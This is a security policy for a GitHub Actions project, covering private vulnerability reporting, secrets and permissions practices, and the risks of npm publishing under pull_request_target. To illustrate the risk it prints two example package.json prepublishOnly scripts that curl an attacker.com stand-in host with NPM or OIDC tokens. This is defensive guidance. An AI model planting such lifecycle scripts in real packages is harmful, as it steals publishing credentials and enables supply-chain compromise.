• Supported Versions
• Reporting a Vulnerability
  • 🔒 Private Disclosure
  • 📋 What to Include
  • 🕐 Response Timeline
• Security Best Practices for Users
  • 🔐 Secrets Management
  • 🏷️ Action Versioning
  • 🔍 Workflow Permissions
  • 🛡️ Input Validation
• Security Features
  • 🔒 Automated Security Scanning
  • 🛡️ Secure Development Practices
  • 🔍 Supply Chain Security
• Known Security Considerations
  • GitHub Actions Environment
  • npm Publishing (npm-pr-version)
    • Open Source Projects Using pull_request_target
    • General npm Publishing Considerations
  • Comment Actions
• Incident Response
• Security Contact
• Acknowledgments

This project follows a rolling release model. We provide security updates for:

If you discover a security issue, please follow these steps:

Do NOT create a public issue for security vulnerabilities.

Instead, please report security issues privately using one of these methods:

1. GitHub Security Advisories (preferred)

   • Go to the Security tab
   • Click "Report a vulnerability"
   • Fill out the form with details

2. Email

   • Send details to: chris@codfish.dev
   • Include "SECURITY" in the subject line

When reporting a vulnerability, please include:

• Description of the vulnerability
• Steps to reproduce the issue
• Potential impact of the vulnerability
• Suggested fix (if you have one)
• Your contact information for follow-up

We aim to respond to security reports within:

• Initial response: 24-48 hours
• Confirmation/triage: 2-5 business days
• Resolution: Varies based on complexity

When using these GitHub Actions in your workflows:

• Never log secrets in workflows that use these actions
• Use GitHub Secrets for sensitive information
• Limit secret scope to only necessary workflows
• Rotate secrets regularly

# ✅ Good - Using secrets properly
- uses: codfish/actions/npm-pr-version@v3with:
npm-token: ${{ secrets.NPM_TOKEN }}# ❌ Bad - Exposing secrets
- name: Debugrun: echo "Token: ${{ secrets.NPM_TOKEN }}"

• Pin to specific versions or commit hashes for production workflows
• Avoid using @main in production (use for testing only)

# ✅ Good - Pinned version
- uses: codfish/actions/setup-node-and-install@v3.2.3# ⚠️ Caution - Latest main (testing only)
- uses: codfish/actions/setup-node-and-install@v3

• Use minimal permissions required
• Specify explicit permissions when possible
• Avoid using write-all permissions

# ✅ Good - Minimal permissionspermissions:
contents: readissues: writepull-requests: write# ❌ Bad - Excessive permissionspermissions: write-all

• Validate user inputs before using them in actions
• Sanitize outputs when displaying them
• Be cautious with dynamic expressions

This project implements several security measures:

• Dependabot for dependency updates
• CodeQL for static analysis
• Dependency Review for PR security checks
• Secret scanning with TruffleHog
• npm audit for vulnerability detection

• Input validation in all actions
• Error handling without information disclosure
• No secret logging in any action
• Least privilege principle in action permissions

• Minimal dependencies to reduce attack surface
• Regular dependency updates via Dependabot
• Verified action references in workflows

• Actions run in GitHub's infrastructure - we cannot control the runner environment
• Secrets are available to all steps in a job that has access
• Workflow logs are visible to users with read access to the repository

If you're an open source project using pull_request_target to publish PR packages from external contributors, consider using the secure tarball mode to protect against lifecycle script attacks.

When is this relevant?

• ✅ You use pull_request_target (not pull_request)
• ✅ You accept PRs from external contributors
• ✅ Your workflow has access to publishing credentials (npm-token OR id-token: write for OIDC)

Not relevant if:

• ❌ You use pull_request event (no secret access from forks)
• ❌ You only publish from trusted branches

The Risk:

npm automatically executes lifecycle scripts during publishing:

• prepublishOnly, prepare, prepack, postpack

A malicious PR could add a script that exfiltrates credentials:

With npm-token:

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?token=$NPM_TOKEN"
}
}

With OIDC (even without npm-token):

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?url=$ACTIONS_ID_TOKEN_REQUEST_URL&token=$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
}
}

⚠️OIDC is just as vulnerable! The OIDC environment variables allow attackers to mint tokens and publish packages.

Recommended Solution:

Use the secure two-step workflow with tarball mode:

on: pull_request_targetjobs:
build:
# Build with untrusted code (no secrets)permissions:
contents: readsteps:
- uses: actions/checkout@v6with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm run build && npm pack
- uses: actions/upload-artifact@v4with:
name: package-tarballpath: '*.tgz'publish:
needs: build# Publish with secrets and --ignore-scriptspermissions:
contents: readid-token: write # For OIDC (or omit if using npm-token)pull-requests: write # For commentingsteps:
- uses: actions/checkout@v6 # Trusted base branch
- uses: actions/download-artifact@v4with:
name: package-tarball
- uses: codfish/actions/npm-pr-version@v3with:
tarball: '*.tgz'

See npm-publish-pr/README.md for full details.

• NPM tokens have broad permissions - ensure tokens are scoped appropriately
• Published packages are public by default - review package contents
• Version immutability - published versions cannot be unpublished

• GitHub tokens can comment on behalf of the workflow user
• Comment content is public - avoid including sensitive information
• Rate limiting applies - excessive commenting may be throttled

In case of a confirmed security vulnerability:

1. Assessment - Evaluate severity and impact
2. Mitigation - Develop and test fixes
3. Disclosure - Coordinate with reporter on disclosure timeline
4. Release - Deploy security fixes
5. Communication - Notify users through appropriate channels

• Primary: security@codfish.dev
• GitHub: @codfish

We appreciate security researchers and users who responsibly disclose vulnerabilities. Contributors who report valid security issues will be acknowledged (with permission) in:

• Security advisories
• Release notes
• This security policy

Thank you for helping keep this project secure! 🔒